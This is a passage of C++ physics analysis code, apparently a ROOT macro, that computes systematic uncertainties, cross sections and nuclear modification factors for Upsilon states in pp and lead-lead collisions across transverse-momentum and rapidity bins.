pow(Aet_1S_pyquen_rap2014s[i]/Aet_1S_pyquen_rap2014[i],2)+\n\n syst1S_raa_pointRap4[i]=sqrt(syst1S_pp_rap4[i]*syst1S_pp_rap4[i]+syst1S_aa_rap4[i]*syst1S_aa_rap4[i]+syst1S_pptnp_rap4[i]*syst1S_pptnp_rap4[i]+syst1S_aatnp_rap4[i]*syst1S_aatnp_rap4[i]);//this one is big : syst.pp + syst.pbpb + tnp_pp + tnp_pbpb\n syst1S_raa_rap4[i]=sqrt(syst1S_raa_pointRap4[i]*syst1S_raa_pointRap4[i]+syst1S_raa_global4*syst1S_raa_global4+pow(Aet_1S_pyquen_rap42014s[i]/Aet_1S_pyquen_rap42014[i],2)+pow(Aet_1S_pythia_rap4s[i]/Aet_1S_pythia_rap4[i],2));\n\n\n } \n cout << \"--------------------1S-rap--------------------\" << endl;\n\n \n for(int i=0; i<nRapBins_2014; i++){\n /// cout << (binsRap[i]).c_str() << \" \" << stat1S_pp_rap[i] << \" \" <<syst1S_pp_rap[i] <<\" \"<< syst1S_aa_rap[i] <<\" \"<< syst1S_pptnp_rap[i] <<\" \"<< syst1S_aatnp_rap[i]<<\" \"<< syst1S_raa_pointRap[i] <<\" \"<< syst1S_raa_rap[i]<< endl;\n }\n cout << \"--------------------1Spt4---------------------\" << endl;\nfor(int i=0; i<nRapBins_2014; i++){\n /// cout << (binsRap[i]).c_str() << \" \" << stat1S_pp_rap4[i] << \" \" <<syst1S_pp_rap4[i] <<\" \"<< syst1S_aa_rap4[i] <<\" \"<< syst1S_pptnp_rap4[i] <<\" \"<< syst1S_aatnp_rap4[i]<<\" \"<< syst1S_raa_pointRap4[i] <<\" \"<< syst1S_raa_rap4[i]<< endl;\n }\n\n cout << \"--------------------2S pt ---------------------\" << endl; \n for(int i=0; i<nPtBins_2010; i++){ \n stat2S_pp_ptLarge[i]=N2S_pp_pt4_2013Largee[i]/N2S_pp_pt4_2013Large[i]; //why this?\n syst2S_aatnp_pt[i]=Aet_2S_pyquen_pt2013Large_fulls[i]/Aet_2S_pyquen_pt2013Large[i];\n syst2S_pptnp_ptLarge[i]=Aet_2S_pythia_pt2013Larges[i]/Aet_2S_pythia_pt2013Large[i];\n\n syst2S_cspp_ptLarge[i]=sqrt(syst2S_pptnp_ptLarge[i]*syst2S_pptnp_ptLarge[i]+syst2S_pp_ptLarge[i]*syst2S_pp_ptLarge[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_2S_pythia_pt2013Largee[i]/Aet_2S_pythia_pt2013Large[i],2));//CS:tnp+fit+glob\n syst2S_csaa_pt[i]=sqrt(syst2S_aatnp_pt[i]*syst2S_aatnp_pt[i]+syst2S_aa_pt[i]*syst2S_aa_pt[i]+(0.062*0.062)+pow(Aet_2S_pyquen_pt2013Largee[i]/Aet_2S_pyquen_pt2013Large[i],2));\n \n syst2S_raa_pointPt[i]=sqrt(syst2S_pptnp_ptLarge[i]*syst2S_pptnp_ptLarge[i]+syst2S_pp_ptLarge[i]*syst2S_pp_ptLarge[i]+pow(Aet_2S_pythia_pt2013Largee[i]/Aet_2S_pythia_pt2013Large[i],2)+syst2S_aatnp_pt[i]*syst2S_aatnp_pt[i]+syst2S_aa_pt[i]*syst2S_aa_pt[i]+pow(Aet_2S_pyquen_pt2013Largee[i]/Aet_2S_pyquen_pt2013Large[i],2)); // just like we've done for RAA(1S) : all of CS_pp and CS_aa except TAA and LUMI.\n syst2S_raa_pt[i]=sqrt(syst2S_raa_pointPt[i]*syst2S_raa_pointPt[i]+syst2S_raa_global*syst2S_raa_global); //including TAA and LUMI, not tracking as of now.\n /// cout << (binsPt2010[i]).c_str() << \" \" << stat2S_pp_ptLarge[i] << \" \" <<syst2S_pp_ptLarge[i] <<\" \"<< syst2S_aa_pt[i] <<\" \"<< syst2S_pptnp_ptLarge[i] <<\" \"<< syst2S_aatnp_pt[i]<<\" \"<< syst2S_raa_pointPt[i] <<\" \"<< syst2S_raa_pt[i]<< endl;\n }\n cout << \"--------------------2S rap ---------------------\" << endl;\n for(int i=0; i<nRapBins_2010; i++){\n stat2S_pp_rapLarge[i]=N2S_pp_rap4_2014Largee[i]/N2S_pp_rap4_2014Large[i];\n syst2S_aatnp_rap[i]=Aet_2S_pyquen_rap2014Larges[i]/Aet_2S_pyquen_rap2014Large[i];\n syst2S_pptnp_rapLarge[i]=Aet_2S_pythia_rap2014Larges[i]/Aet_2S_pythia_rap2014Large[i];\n\n syst2S_cspp_rapLarge[i]=sqrt(syst2S_pptnp_rapLarge[i]*syst2S_pptnp_rapLarge[i]+syst2S_pp_rapLarge[i]*syst2S_pp_rapLarge[i]+(0.2/5.4)*(0.2/5.4)+pow(Aet_2S_pythia_rap2014Largee[i]/Aet_2S_pythia_rap2014Large[i],2));//CS:tnp+fit+glob\n syst2S_csaa_rap[i]=sqrt(syst2S_aatnp_rap[i]*syst2S_aatnp_rap[i]+syst2S_aa_rap[i]*syst2S_aa_rap[i]+(0.062*0.062)+pow(Aet_2S_pyquen_rap2014Largee[i]/Aet_2S_pyquen_rap2014Large[i],2));\n\n syst2S_raa_pointRap[i]=sqrt(syst2S_pptnp_rapLarge[i]*syst2S_pptnp_rapLarge[i]+syst2S_pp_rapLarge[i]*syst2S_pp_rapLarge[i]+pow(Aet_2S_pythia_rap2014Largee[i]/Aet_2S_pythia_rap2014Large[i],2)+syst2S_aatnp_rap[i]*syst2S_aatnp_rap[i]+syst2S_aa_rap[i]*syst2S_aa_rap[i]+pow(Aet_2S_pyquen_rap2014Largee[i]/Aet_2S_pyquen_rap2014Large[i],2)); // all of cs_pp and cs_aa, except lumi and taa\n syst2S_raa_rap[i]=sqrt(syst2S_raa_pointRap[i]*syst2S_raa_pointRap[i]+syst2S_raa_global*syst2S_raa_global); \n /// cout << (binsRap2010[i]).c_str() << \" \" << stat2S_pp_rapLarge[i] << \" \" <<syst2S_pp_rapLarge[i] <<\" \"<< syst2S_aa_rap[i] <<\" \"<< syst2S_pptnp_rapLarge[i] <<\" \"<< syst2S_aatnp_rap[i]<<\" \"<< syst2S_raa_pointRap[i] <<\" \"<< syst2S_raa_rap[i]<< endl;\n\n \n }\n\nfor(int i=0; i<nPtBins_2013; i++){\n //ofSyst<< \"1S_pp_pt_\" << (binsPt[i]).c_str() << \" \"<< 100*syst1S_pp_pt[i]<<\" %\"<<endl;\n //ofSyst<< \"1S_aa_pt_\"<<i << \" \"<< 100*syst1S_aa_pt[i]<< \" %\"<<endl;\n //ofSyst<< \"2S_pp_pt_\"<<i << \" \"<< 100*syst2S_pp_pt[i]<<\" %\"<< endl;\n //ofSyst<< \"3S_pp_pt_\"<<i << \" \"<< 100*syst3S_pp_pt[i]<<\" %\"<< endl;\n}\n\nfor(int i=0; i<nPtBins_2010; i++){\n//ofSyst<< \"2S_aa_pt_\"<<i << \" \"<< 100*syst2S_aa_pt[i]<< \" %\"<<endl;\n//ofSyst<< \"2S_pp_ptLarge_\"<<i << \" \"<< 100*syst2S_pp_ptLarge[i]<< \" %\"<<endl;\n}\n\nfor(int i=0; i<nRapBins_2014; i++){\n //ofSyst<< \"1S_pp_rap_\"<<i << \" \"<< 100*syst1S_pp_rap[i]<<\" %\"<<endl;\n //ofSyst<< \"1S_aa_rap_\"<<i << \" \"<< 100*syst1S_aa_rap[i]<< \" %\"<<endl;\n //ofSyst<< \"2S_pp_rap_\"<<i << \" \"<< 100*syst2S_pp_rap[i]<<\" %\"<< endl;\n //ofSyst<< \"3S_pp_rap_\"<<i << \" \"<< 100*syst3S_pp_rap[i]<<\" %\"<< endl;\n }\nfor(int i=0; i<nRapBins_2010; i++){\n//ofSyst<< \"2S_aa_rap_\"<<i << \" \"<< 100*syst2S_aa_rap[i]<< \" %\"<<endl;\n//ofSyst<< \"2S_pp_rapLarge_\"<<i << \" \"<< 100*syst2S_pp_rapLarge[i]<< \" %\"<<endl;\n}\n//ofSyst.close();\n for(int i = 0 ; i<nPtBins_2013 ; i++)\n {\n //significance stuff, for all non-believers out there\n // Aet_1S_pythia_pt[i]= Aet_1S_pythia_pt_STA[i];\n // Aet_1S_pythia_pte[i]= Aet_1S_pythia_pt_STAe[i];\n // Aet_1S_pythia_pte[i]= Ae_1S_pythia_pte[i];\n SigOverErr_ppPt1S3p5[i]=computeRatio(N1S_pp_pt3p5[i],N1S_pp_pt3p5e[i]);\n SigOverErr_aaPt1S3p5[i]=computeRatio(N1S_aa_pt3p5[i],N1S_aa_pt3p5e[i]);\n SigOverErr_ppPt2S3p5[i]=computeRatio(N2S_pp_pt3p5[i],N2S_pp_pt3p5e[i]);\n SigOverErr_ppPt3S3p5[i]=computeRatio(N3S_pp_pt3p5[i],N3S_pp_pt3p5e[i]);\n SigOverErr_ppPt1S4[i]=computeRatio(N1S_pp_pt4[i],N1S_pp_pt4e[i]);\n SigOverErr_aaPt1S4[i]=computeRatio(N1S_aa_pt4[i],N1S_aa_pt4e[i]);\n SigOverErr_ppPt2S4[i]=computeRatio(N2S_pp_pt4_2013[i],N2S_pp_pt4_2013e[i]);\n SigOverErr_ppPt3S4[i]=computeRatio(N3S_pp_pt4_2013[i],N3S_pp_pt4_2013e[i]);\n\n // tnp\n // CS1S_pp_tnp_pt[i]= computeRatio( N1S_pp_pt3p5[i] , Aet_1S_pythia_pt[i] ); \n // CS1S_aa_tnp_pt[i]= computeRatio( N1S_aa_pt3p5[i] , Aet_1S_pyquen_pt[i] );\n // CS1S_pp_tnp_pte[i] = computeRatioError( N1S_pp_pt3p5[i] , Aet_1S_pythia_pt[i], N1S_pp_pt3p5e[i] , Aet_1S_pythia_pte[i]);\n // CS1S_aa_tnp_pte[i] = computeRatioError( N1S_aa_pt3p5[i] , Aet_1S_pyquen_pt[i] , N1S_aa_pt3p5e[i] , Aet_1S_pyquen_pte[i] );\n \n //2016 muIDTrig\n CS1S_pp_tnp_pt[i]= computeRatio( N1S_pp_pt3p5[i] , Aet_1S_pythia_pt_STA[i] ); \n CS1S_aa_tnp_pt[i]= computeRatio( N1S_aa_pt3p5[i] , Aet_1S_pyquen_pt_STA[i] );\n CS1S_pp_tnp_pte[i] = computeRatioError( N1S_pp_pt3p5[i] , Aet_1S_pythia_pt_STA[i], N1S_pp_pt3p5e[i] ,0);\n CS1S_aa_tnp_pte[i] = computeRatioError( N1S_aa_pt3p5[i] , Aet_1S_pyquen_pt_STA[i] , N1S_aa_pt3p5e[i] , 0 ); \n CS1S_pp_tnp_pts[i] = N1S_pp_pt3p5[i]*syst1S_cspp_pt[i] / Aet_1S_pythia_pt_STA[i];\n CS1S_aa_tnp_pts[i] = N1S_aa_pt3p5[i]*syst1S_csaa_pt[i] / Aet_1S_pyquen_pt_STA[i] ;\n\n \n //pt4\n CS1S_pp_tnp_pt4[i]= computeRatio( N1S_pp_pt4[i] , Aet_1S_pythia_pt4[i] ); \n CS1S_aa_tnp_pt4[i]= computeRatio( N1S_aa_pt4[i] , Aet_1S_pyquen_pt4[i] );\n CS1S_pp_tnp_pt4e[i] = computeRatioError( N1S_pp_pt4[i] , Aet_1S_pythia_pt4[i], N1S_pp_pt4e[i] , Aet_1S_pythia_pt4e[i]);\n CS1S_aa_tnp_pt4e[i] = computeRatioError( N1S_aa_pt4[i] , Aet_1S_pyquen_pt4[i] , N1S_aa_pt4e[i] , Aet_1S_pyquen_pt4e[i] );\n CS1S_pp_tnp_pt4s[i] = N1S_pp_pt4[i]*syst1S_cspp_pt[i];\n CS1S_aa_tnp_pt4s[i] = N1S_aa_pt4[i]*syst1S_csaa_pt[i];\n CS1S_pp_tnp_pt4[i]=CS1S_pp_tnp_pt4[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS1S_aa_tnp_pt4[i]=CS1S_aa_tnp_pt4[i]/(N_MB_corr * T_AA_b*RapBinWidth*deltaPt[i]);\n CS1S_pp_tnp_pt4e[i]=CS1S_pp_tnp_pt4e[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]);\n CS1S_aa_tnp_pt4e[i]=CS1S_aa_tnp_pt4e[i]/(N_MB_corr * T_AA_b *RapBinWidth*deltaPt[i]);\n CS1S_pp_tnp_pt4s[i] = CS1S_pp_tnp_pt4s[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS1S_aa_tnp_pt4s[i] = CS1S_aa_tnp_pt4s[i]/(N_MB_corr * T_AA_b *(RapBinWidth*deltaPt[i])); \n RAA_1S_tnp_pt4[i] = computeRatio( CS1S_aa_tnp_pt4[i] , CS1S_pp_tnp_pt4[i]);\n RAA_1S_tnp_pt4e[i] = computeRatioError( CS1S_aa_tnp_pt4[i] , CS1S_pp_tnp_pt4[i], CS1S_aa_tnp_pt4e[i] , CS1S_pp_tnp_pt4e[i]);\n RAA_1S_tnp_pt4s[i] = RAA_1S_tnp_pt4[i]*syst1S_raa_pointPt4[i]; //computeRatioError( CS1S_aa_tnp_pt[i] , CS1S_pp_tnp_pt[i], CS1S_aa_tnp_pts[i] , CS1S_pp_tnp_pts[i]);\n RAA_1S_tnp_pt4sT[i] = RAA_1S_tnp_pt4[i]*syst1S_raa_pt4[i]; //computeRatioError( CS1S_aa_tnp_pt[i] , CS1S_pp_tnp_pt[i], CS1S_aa_tnp_pts[i] , CS1S_pp_tnp_pts[i]);\n \n //excited ones\n CS2S_pp_tnp_pts[i] = N2S_pp_pt4_2013[i]*syst2S_cspp_pt[i] / Aet_2S_pythia_pt2013[i];\n CS3S_pp_tnp_pts[i] = N3S_pp_pt4_2013[i]*syst3S_cspp_pt[i] / Aet_3S_pythia_pt2013[i];\n CS2S_pp_tnp_pt2013[i]= computeRatio( N2S_pp_pt4_2013[i] , Aet_2S_pythia_pt2013[i] ); \n CS2S_pp_tnp_pt2013e[i] = computeRatioError( N2S_pp_pt4_2013[i] , Aet_2S_pythia_pt2013[i] , N2S_pp_pt4_2013e[i] , 0); \n CS3S_pp_tnp_pt2013[i]= computeRatio( N3S_pp_pt4_2013[i] , Aet_3S_pythia_pt2013[i] ); \n CS3S_pp_tnp_pt2013e[i] = computeRatioError( N3S_pp_pt4_2013[i] , Aet_3S_pythia_pt2013[i] , N3S_pp_pt4_2013e[i] , 0);\n\n //fiducial shit\n CS2S_pp_pt2013Fiducial[i]= computeRatio( N2S_pp_pt4_2013[i] , e_2S_pythia_pt2013[i] ); \n CS2S_pp_pt2013Fiduciale[i] = computeRatioError( N2S_pp_pt4_2013[i] , e_2S_pythia_pt2013[i] , N2S_pp_pt4_2013e[i] , e_2S_pythia_pt2013e[i] );\n CS1S_aa_ptFiducial[i]= computeRatio( N1S_aa_pt3p5[i] , e_1S_pyquen_pt[i] );\n CS1S_pp_ptFiducial[i]= computeRatio( N1S_pp_pt3p5[i] , e_1S_pythia_pt3p5[i] );\n CS1S_aa_pt[i]= computeRatio( N1S_aa_pt3p5[i] , Ae_1S_pyquen_pt[i] ); \n CS1S_pp_ptFiducial[i] = computeRatio( N1S_pp_pt3p5[i] , e_1S_pythia_pt3p5[i] ); \n CS1S_aa_ptFiducial[i] = computeRatio( N1S_aa_pt3p5[i] , e_1S_pyquen_pt[i] );\n CS1S_pp_ptFiduciale[i] = computeRatioError( N1S_pp_pt3p5[i] , e_1S_pythia_pt3p5[i], N1S_pp_pt3p5e[i] , e_1S_pythia_pt3p5e[i]); \n CS1S_aa_ptFiduciale[i] = computeRatioError( N1S_aa_pt3p5[i] , e_1S_pyquen_pt[i] , N1S_aa_pt3p5e[i] , e_1S_pyquen_pte[i] );\n CS1S_pp_ptFiducial[i]=CS1S_pp_ptFiducial[i]/L_pp_invNb;\n CS1S_aa_ptFiducial[i]=CS1S_aa_ptFiducial[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_ptFiduciale[i]=CS1S_pp_ptFiduciale[i]/L_pp_invNb;\n CS1S_aa_ptFiduciale[i]=CS1S_aa_ptFiduciale[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_ptFiducial[i]=CS1S_pp_ptFiducial[i]/deltaPt[i];\n CS1S_aa_ptFiducial[i]=CS1S_aa_ptFiducial[i]/deltaPt[i];\n CS1S_pp_ptFiduciale[i]=CS1S_pp_ptFiduciale[i]/deltaPt[i];\n CS1S_aa_ptFiduciale[i]=CS1S_aa_ptFiduciale[i]/deltaPt[i]; \n CS2S_pp_pt2013Fiducial[i]=CS2S_pp_pt2013Fiducial[i]/L_pp_invNb;\n CS2S_pp_pt2013Fiduciale[i]=CS2S_pp_pt2013Fiduciale[i]/L_pp_invNb;\n CS2S_pp_pt2013Fiducial[i]=CS2S_pp_pt2013Fiducial[i]/deltaPt[i];\n CS2S_pp_pt2013Fiduciale[i]=CS2S_pp_pt2013Fiduciale[i]/deltaPt[i];\n //good ones\n CS1S_pp_pt[i]=CS1S_pp_pt[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS1S_aa_pt[i]=CS1S_aa_pt[i]/(N_MB_corr * T_AA_b*(RapBinWidth*deltaPt[i]));\n CS1S_pp_pte[i]=CS1S_pp_pte[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]);\n CS1S_aa_pte[i]=CS1S_aa_pte[i]/(N_MB_corr * T_AA_b *(RapBinWidth*deltaPt[i]));\n CS2S_pp_tnp_pts[i] = CS2S_pp_tnp_pts[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS3S_pp_tnp_pts[i] = CS3S_pp_tnp_pts[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS2S_pp_pt2013[i]=CS2S_pp_pt2013[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n CS2S_pp_pt2013e[i]=CS2S_pp_pt2013e[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n CS3S_pp_pt2013[i]=CS3S_pp_pt2013[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n CS3S_pp_pt2013e[i]=CS3S_pp_pt2013e[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n //tnp correction\n CS1S_pp_tnp_pt[i]=CS1S_pp_tnp_pt[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS1S_aa_tnp_pt[i]=CS1S_aa_tnp_pt[i]/(N_MB_corr * T_AA_b*RapBinWidth*deltaPt[i]);\n CS1S_pp_tnp_pte[i]=CS1S_pp_tnp_pte[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]);\n CS1S_aa_tnp_pte[i]=CS1S_aa_tnp_pte[i]/(N_MB_corr * T_AA_b *RapBinWidth*deltaPt[i]);\n CS1S_aa_tnp_pts[i] = CS1S_aa_tnp_pts[i]/(N_MB_corr * T_AA_b *(RapBinWidth*deltaPt[i])); \n CS1S_pp_tnp_pts[i] = CS1S_pp_tnp_pts[i]/(L_pp_invNb*RapBinWidth*deltaPt[i]); \n CS2S_pp_tnp_pt2013[i]=CS2S_pp_tnp_pt2013[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n CS2S_pp_tnp_pt2013e[i]=CS2S_pp_tnp_pt2013e[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n CS3S_pp_tnp_pt2013[i]=CS3S_pp_tnp_pt2013[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n CS3S_pp_tnp_pt2013e[i]=CS3S_pp_tnp_pt2013e[i]/(RapBinWidth*deltaPt[i]*L_pp_invNb);\n RAA_1S_pt[i] = computeRatio( CS1S_aa_pt[i] , CS1S_pp_pt[i]);\n RAA_1S_pte[i] = computeRatioError( CS1S_aa_pt[i] , CS1S_pp_pt[i], CS1S_aa_pte[i] , CS1S_pp_pte[i]);\n // cout<<\"cs1S (ppPt, ppRap, aaPt, aaRap)\"<< CS1S_pp_pt[i] <<\", \" <<CS1S_pp_rap2014[i] <<\", \" <<CS1S_aa_pt[i] <<\", \" <<CS1S_aa_rap[i] <<\". \" << endl;\n // cout <<\"sigma(1S)_pp vs Pt =\"<< endl;\n //invariant yields, corrected by taa and lumi corr.//////raaaaaaaa!\n RAA_1S_tnp_pt[i] = computeRatio( CS1S_aa_tnp_pt[i] , CS1S_pp_tnp_pt[i]);\n RAA_1S_tnp_pte[i] = computeRatioError( CS1S_aa_tnp_pt[i] , CS1S_pp_tnp_pt[i], CS1S_aa_tnp_pte[i] , CS1S_pp_tnp_pte[i]); // stat uncertainties go here !\n RAA_1S_tnp_pts[i] = RAA_1S_tnp_pt[i]*syst1S_raa_pointPt[i]; //computeRatioError( CS1S_aa_tnp_pt[i] , CS1S_pp_tnp_pt[i], CS1S_aa_tnp_pts[i] , CS1S_pp_tnp_pts[i]);\n RAA_1S_tnp_ptsT[i] = RAA_1S_tnp_pt[i]*syst1S_raa_pt[i]; //computeRatioError( CS1S_aa_tnp_pt[i] , CS1S_pp_tnp_pt[i], CS1S_aa_tnp_pts[i] , CS1S_pp_tnp_pts[i]);\n R_A_1S_pt[i]=computeRatio(A_1S_pythia_pt3p5[i],A_1S_pyquen_pt[i]);\n R_A_1S_pte[i]=computeRatioError(A_1S_pythia_pt3p5[i],A_1S_pyquen_pt[i],A_1S_pythia_pt3p5e[i],A_1S_pyquen_pte[i]);\n R_e_1S_pt[i]=computeRatio(e_1S_pythia_pt3p5[i],e_1S_pyquen_pt[i]);\n R_e_1S_pte[i]=computeRatioError(e_1S_pythia_pt3p5[i],e_1S_pyquen_pt[i],e_1S_pythia_pt3p5e[i],e_1S_pyquen_pte[i]);\n }\n \n for(int i=0; i < nRapBins_2014; i++)\n {\n //significance, die non-believers!\n SigOverErr_ppRap1S3p5[i]=computeRatio(N1S_pp_rap3p5_2014[i],N1S_pp_rap3p5_2014e[i]);\n SigOverErr_ppRap1S4[i]=computeRatio(N1S_pp_rap4_2014[i],N1S_pp_rap4_2014e[i]);\n SigOverErr_aaRap1S3p5[i]=computeRatio(N1S_aa_rap3p5_2014[i],N1S_aa_rap3p5_2014e[i]);\n SigOverErr_aaRap1S4[i]=computeRatio(N1S_aa_rap4_2014[i],N1S_aa_rap4_2014e[i]);\n SigOverErr_ppRap2S3p5[i]=computeRatio(N2S_pp_rap3p5_2014[i],N2S_pp_rap3p5_2014e[i]); \n SigOverErr_ppRap2S4[i]=computeRatio(N2S_pp_rap4_2014[i],N2S_pp_rap4_2014e[i]);\n SigOverErr_ppRap3S4[i]=computeRatio(N3S_pp_rap4_2014[i],N3S_pp_rap4_2014e[i]);\n SigOverErr_ppRap3S3p5[i]=computeRatio(N3S_pp_rap3p5_2014[i],N3S_pp_rap3p5_2014e[i]);\n //fiducial shit\n CS1S_aa_rapFiducial[i] = computeRatio( N1S_aa_rap3p5_2014[i] , e_1S_pyquen_rap2014[i] );\n CS1S_pp_rap2014Fiduciale[i] = computeRatioError( N1S_pp_rap3p5_2014[i] , e_1S_pythia_rap3p5[i] , N1S_pp_rap3p5_2014e[i] , e_1S_pythia_rap3p5e[i] );\n CS1S_pp_rap2014Fiducial[i]= computeRatio( N1S_pp_rap3p5_2014[i] , e_1S_pythia_rap3p5[i] ); \n CS1S_aa_rapFiduciale[i] = computeRatioError( N1S_aa_rap3p5_2014[i] , e_1S_pyquen_rap2014[i] , N1S_aa_rap3p5_2014e[i] , e_1S_pyquen_rap2014e[i]);\n CS1S_pp_rap2014Fiducial[i]=CS1S_pp_rap2014Fiducial[i]/L_pp_invNb;\n CS1S_aa_rapFiducial[i]=CS1S_aa_rapFiducial[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_rap2014Fiduciale[i]=CS1S_pp_rap2014Fiduciale[i]/L_pp_invNb;\n CS1S_aa_rapFiduciale[i]=CS1S_aa_rapFiduciale[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_rap2014Fiducial[i]=CS1S_pp_rap2014Fiducial[i]/deltaRapEven[i];\n CS1S_aa_rapFiducial[i]=CS1S_aa_rapFiducial[i]/deltaRapEven[i];\n CS1S_pp_rap2014Fiduciale[i]=CS1S_pp_rap2014Fiduciale[i]/deltaRapEven[i];\n CS1S_aa_rapFiduciale[i]=CS1S_aa_rapFiduciale[i]/deltaRapEven[i];\n ///good ones\n CS1S_pp_rap2014[i]= computeRatio(N1S_pp_rap3p5_2014[i] , Ae_1S_pythia_rap2014[i]); \n CS1S_aa_rap[i]= computeRatio(N1S_aa_rap3p5_2014[i] , Ae_1S_pyquen_rap2014[i]);\n CS1S_pp_rap2014e[i] = computeRatioError(N1S_pp_rap3p5_2014[i] , Ae_1S_pythia_rap2014[i] , N1S_pp_rap3p5_2014e[i] , Ae_1S_pythia_rap2014e[i] );\n CS1S_aa_rape[i] = computeRatioError(N1S_aa_rap3p5_2014[i] , Ae_1S_pyquen_rap2014[i] , N1S_aa_rap3p5_2014e[i] , Ae_1S_pyquen_rap2014e[i]); \n CS1S_pp_rap2014[i]=CS1S_pp_rap2014[i]/L_pp_invNb;\n CS1S_aa_rap[i]=CS1S_aa_rap[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_rap2014e[i]=CS1S_pp_rap2014e[i]/L_pp_invNb;\n CS1S_aa_rape[i]=CS1S_aa_rape[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_rap2014[i]=CS1S_pp_rap2014[i]/(deltaRapEven[i]);\n CS1S_aa_rap[i]=CS1S_aa_rap[i]/deltaRapEven[i];\n CS1S_pp_rap2014e[i]=CS1S_pp_rap2014e[i]/(deltaRapEven[i]);\n CS1S_aa_rape[i]=CS1S_aa_rape[i]/deltaRapEven[i];\n //2S\n CS2S_pp_rap2014[i]= computeRatio( N2S_pp_rap4_2014[i] , Ae_2S_pythia_rap2014[i] ); \n CS2S_pp_rap2014e[i]= computeRatioError( N2S_pp_rap4_2014[i] , Ae_2S_pythia_rap2014[i] , N2S_pp_rap4_2014e[i] , Ae_2S_pythia_rap2014e[i] );\n CS2S_pp_rap2014[i]=CS2S_pp_rap2014[i]/(deltaRapEven[i] * L_pp_invNb);\n CS2S_pp_rap2014e[i]=CS2S_pp_rap2014e[i]/( L_pp_invNb);//deltaRapEven[i] *\n //3S\n CS3S_pp_rap2014[i]= computeRatio( N3S_pp_rap4_2014[i] , Aet_3S_pythia_rap2014[i] ); \n CS3S_pp_rap2014e[i] = computeRatioError( N3S_pp_rap4_2014[i] , Aet_3S_pythia_rap2014[i] , N3S_pp_rap4_2014e[i] , 0 );\n CS3S_pp_rap2014[i]= CS3S_pp_rap2014[i]/L_pp_invNb;\n CS3S_pp_rap2014e[i]= CS3S_pp_rap2014e[i]/L_pp_invNb;\n CS3S_pp_rap2014[i]= CS3S_pp_rap2014[i]/(deltaRapEven[i]);\n CS3S_pp_rap2014e[i]= CS3S_pp_rap2014e[i];///(deltaRapEven[i]);\n //TAG AND PROBE COMPARISON\n //1S\n // Aet_1S_pythia_rap2014[i]=Ae_1S_pythia_rap2014[i];\n // Aet_1S_pyquen_rap2014[i]=Ae_1S_pyquen_rap2014[i];\n // Aet_1S_pythia_rap2014e[i]=Ae_1S_pythia_rap2014e[i];\n // Aet_1S_pyquen_rap2014e[i]=Ae_1S_pyquen_rap2014e[i];\n\n CS1S_pp_tnp_rap2014[i]= computeRatio( N1S_pp_rap3p5_2014[i] , Aet_1S_pythia_rap2014_STA[i] ); \n CS1S_aa_tnp_rap2014[i]= computeRatio( N1S_aa_rap3p5_2014[i] , Aet_1S_pyquen_rap2014_STA[i] );\n CS1S_pp_tnp_rap2014e[i] = computeRatioError( N1S_pp_rap3p5_2014[i] , Aet_1S_pythia_rap2014_STA[i] , N1S_pp_rap3p5_2014e[i] , 0);\n CS1S_pp_tnp_rap2014s[i] = N1S_pp_rap3p5_2014[i]*syst1S_cspp_rap[i] / Aet_1S_pythia_rap2014_STA[i]; \n CS1S_aa_tnp_rap2014e[i] = computeRatioError(N1S_aa_rap3p5_2014[i] , Aet_1S_pyquen_rap2014_STA[i] , N1S_aa_rap3p5_2014e[i] , 0); \n CS1S_aa_tnp_rap2014s[i] =N1S_aa_rap3p5_2014[i]*syst1S_csaa_rap[i] /Aet_1S_pyquen_rap2014_STA[i];\n \n \n CS1S_pp_tnp_rap2014[i]=CS1S_pp_tnp_rap2014[i]/L_pp_invNb;\n CS1S_aa_tnp_rap2014[i]=CS1S_aa_tnp_rap2014[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_tnp_rap2014e[i]=CS1S_pp_tnp_rap2014e[i]/L_pp_invNb;\n CS1S_aa_tnp_rap2014e[i]=CS1S_aa_tnp_rap2014e[i]/(N_MB_corr * T_AA_b);\n CS1S_pp_tnp_rap2014[i]=CS1S_pp_tnp_rap2014[i]/(deltaRapEven[i]);\n CS1S_aa_tnp_rap2014[i]=CS1S_aa_tnp_rap2014[i]/deltaRapEven[i];\n CS1S_pp_tnp_rap2014e[i]=CS1S_pp_tnp_rap2014e[i]/(deltaRapEven[i]);\n CS1S_aa_tnp_rap2014e[i]=CS1S_aa_tnp_rap2014e[i]/deltaRapEven[i];\n CS1S_pp_tnp_rap2014s[i] = CS1S_pp_tnp_rap2014s[i]/(L_pp_invNb*deltaRapEven[i]); \n CS1S_aa_tnp_rap2014s[i] = CS1S_aa_tnp_rap2014s[i]/(N_MB_corr * T_AA_b *deltaRapEven[i]); \n //1Spt4\n CS1S_pp_tnp_rap42014[i]= computeRatio( N1S_pp_rap4_2014[i] , Aet_1S_pythia_rap4[i] ); \n CS1S_aa_tnp_rap42014[i]= computeRatio( N1S_aa_rap4_2014[i] , Aet_1S_pyquen_rap42014[i] );\n CS1S_pp_tnp_rap42014e[i] = computeRatioError( N1S_pp_rap4_2014[i] , Aet_1S_pythia_rap4[i] , N1S_pp_rap4_2014e[i] , Aet_1S_pythia_rap4e[i] );\n CS1S_pp_tnp_rap42014s[i] = N1S_pp_rap4_2014[i]*syst1S_cspp_rap4[i];\n \n CS1S_aa_tnp_rap42014e[i] = computeRatioError(N1S_aa_rap4_2014[i] , Aet_1S_pyquen_rap42014[i] , 